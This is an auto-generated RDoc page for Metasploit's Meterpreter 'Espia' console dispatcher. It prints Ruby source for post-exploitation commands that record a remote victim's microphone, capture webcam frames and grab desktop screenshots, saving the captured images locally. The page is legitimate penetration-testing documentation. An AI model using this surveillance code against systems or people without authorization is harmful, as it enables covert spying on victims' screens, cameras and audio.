Parent

Class/Module Index [+]

Quicksearch

Rex::Post::Meterpreter::Ui::Console::CommandDispatcher::Espia

Espia - Capture audio, video, screenshots from the remote system

Constants

Klass

Public Class Methods

new(shell) click to toggle source

Initializes an instance of the espia command interaction.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb, line 22
def initialize(shell)
        super
end

Public Instance Methods

cmd_dev_audio(*args) click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb, line 44
def cmd_dev_audio(*args)
        maxrec = 60

        if (args.length < 1)
                print_line("Usage: dev_audio <rec_secs>\n")
                print_line("Record mic audio\n")
                return true
        end

        secs = args[0].to_i
        if secs  > 0 and secs <= maxrec
                milsecs = secs*1000
                print_line("[*] Recording #{milsecs} miliseconds.\n")
                client.espia.espia_audio_get_dev_audio(milsecs)
                print_line("[*] Done.")
        else
                print_line("[-] Error: Recording time 0 to 60 secs \n")
        end

        return true
end
cmd_dev_image() click to toggle source
# File lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb, line 37
def cmd_dev_image()
        client.espia.espia_video_get_dev_image()
        print_line("[*] Done.")

        return true
end
cmd_screengrab( *args ) click to toggle source

Grab a screenshot of the current interactive desktop.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb, line 69
def cmd_screengrab( *args )
        if( args[0] and args[0] == "-h" )
                print_line("Usage: screengrab <path.jpeg> [view in browser: true|false]\n")
                print_line("Grab a screenshot of the current interactive desktop.\n")
                return true
        end
        
        show = true
        show = false if (args[1] and args[1] =~ /^(f|n|0)/)
        
        path = args[0] || Rex::Text.rand_text_alpha(8) + ".jpeg"
        
        data = client.espia.espia_image_get_dev_screen
        
        if( data )
                ::File.open( path, 'wb' ) do |fd|
                        fd.write( data )
                end
                path = ::File.expand_path( path )
                print_line( "Screenshot saved to: #{path}" )
                Rex::Compat.open_file( path ) if show
        end
        
        return true
end
commands() click to toggle source

List of supported commands.

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb, line 29
def commands
        {
#              "dev_image"  => "Attempt to grab a frame from webcam",
#              "dev_audio"  => "Attempt to record microphone audio",
                "screengrab" => "Attempt to grab screen shot from process's active desktop"
        }
end
name() click to toggle source

Name for this dispatcher

# File lib/rex/post/meterpreter/ui/console/command_dispatcher/espia.rb, line 98
def name
        "Espia"
end

[Validate]

Generated with the Darkfish Rdoc Generator 2.